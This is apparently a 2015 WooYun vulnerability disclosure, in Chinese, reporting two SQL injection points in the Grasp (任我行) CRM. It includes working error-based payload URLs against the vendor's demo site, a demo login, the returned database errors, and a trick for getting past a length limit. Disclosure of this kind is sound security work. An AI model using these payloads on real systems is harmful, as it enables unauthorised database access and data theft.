漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0103637
漏洞标题:任我行crmSQL注入2处(其中一处绕过限制)(需要登陆)
相关厂商:grasp.com.cn
漏洞作者: 路人甲
提交时间:2015-03-31 15:10
修复时间:2015-07-04 15:13
公开时间:2015-07-04 15:13
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:12
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-03-31: 细节已通知厂商并且等待厂商处理中
2015-04-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-30: 细节向核心白帽子及相关领域专家公开
2015-06-09: 细节向普通白帽子公开
2015-06-19: 细节向实习白帽子公开
2015-07-04: 细节向公众公开
简要描述:
任我行任我行
详细说明:
官网demo:http://show.wecrm.com/xt/main 账户:demo2/demodemo
注入1:
上payload:爆出版本
http://show.wecrm.com/xt/PersonalSchedule/ScheduleDetail/?typeId='%20and%201=(select%20@@version)--&inlist=true&_=0.8379684530664235
返回:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
payload2:爆数据库名:
http://show.wecrm.com/xt/PersonalSchedule/ScheduleDetail/?typeId='%20and%201=(select%20db_name())--&inlist=true&_=0.8379684530664235
在将 nvarchar 值 'grasp_crm_CRMDEMO' 转换成数据类型 int 时失败。
注入2:
http://show.wecrm.com/xt/ActionManage/Personal/TaskViewer/?taskType=4&creatortypeid=0000000146&TargetDate=2015-03-16&olddate=&taskTypeId=&sm=list
这个注入点有点蛋疼
我们来仔细分析下
http://show.wecrm.com/xt/ActionManage/Personal/TaskViewer/?taskType=4&creatortypeid=0000000146&TargetDate=2015-03-16&olddate=&taskTypeId=abffcde'%20and%201=(select%20@@version)--&sm=list
返回:
必须声明标量变量 "@@versi"。 字符串 '' 后的引号不完整。
很郁闷语句被截断了,果然有长度限制,上面的payload只能执行到:abffcde'%20and%201=(select%20@@versi
好吧处理下长度继续来:
http://show.wecrm.com/xt/ActionManage/Personal/TaskViewer/?taskType=4&creatortypeid=0000000146&TargetDate=2015-03-16&olddate=&taskTypeId=bc'%20and+1=(select%20@@version)--&sm=list
失望的返回这个:
对不起,对指定的目标数据您没有查看权限。
是不是很奇怪呢
其实原因是这样的:
payload前面的where语句是用and连接,如果前面的and条件为false就自然不会执行后面的and条件了,果断把and换成or,这样就能执行这个条件了
http://show.wecrm.com/xt/ActionManage/Personal/TaskViewer/?taskType=4&creatortypeid=0000000146&TargetDate=2015-03-16&olddate=&taskTypeId=bc'%20or+1=(select%20@@version)--&sm=list
果断返回版本号之类的信息:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
成功了。。。
其实得慢慢想想。。。
漏洞证明:
上payload:爆出版本
http://show.wecrm.com/xt/PersonalSchedule/ScheduleDetail/?typeId='%20and%201=(select%20@@version)--&inlist=true&_=0.8379684530664235
返回:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
payload2:爆数据库名:
http://show.wecrm.com/xt/PersonalSchedule/ScheduleDetail/?typeId='%20and%201=(select%20db_name())--&inlist=true&_=0.8379684530664235
在将 nvarchar 值 'grasp_crm_CRMDEMO' 转换成数据类型 int 时失败。
注入2:
http://show.wecrm.com/xt/ActionManage/Personal/TaskViewer/?taskType=4&creatortypeid=0000000146&TargetDate=2015-03-16&olddate=&taskTypeId=&sm=list
这个注入点有点蛋疼
我们来仔细分析下
http://show.wecrm.com/xt/ActionManage/Personal/TaskViewer/?taskType=4&creatortypeid=0000000146&TargetDate=2015-03-16&olddate=&taskTypeId=abffcde'%20and%201=(select%20@@version)--&sm=list
返回:
必须声明标量变量 "@@versi"。 字符串 '' 后的引号不完整。
很郁闷语句被截断了,果然有长度限制,上面的payload只能执行到:abffcde'%20and%201=(select%20@@versi
好吧处理下长度继续来:
http://show.wecrm.com/xt/ActionManage/Personal/TaskViewer/?taskType=4&creatortypeid=0000000146&TargetDate=2015-03-16&olddate=&taskTypeId=bc'%20and+1=(select%20@@version)--&sm=list
失望的返回这个:
对不起,对指定的目标数据您没有查看权限。
是不是很奇怪呢
其实原因是这样的:
payload前面的where语句是用and连接,如果前面的and条件为false就自然不会执行后面的and条件了,果断把and换成or,这样就能执行这个条件了
http://show.wecrm.com/xt/ActionManage/Personal/TaskViewer/?taskType=4&creatortypeid=0000000146&TargetDate=2015-03-16&olddate=&taskTypeId=bc'%20or+1=(select%20@@version)--&sm=list
果断返回版本号之类的信息:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
成功了。。。
其实得慢慢想想。。。
修复方案:
过滤
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2015-07-04 15:13
厂商回复:
最新状态:
暂无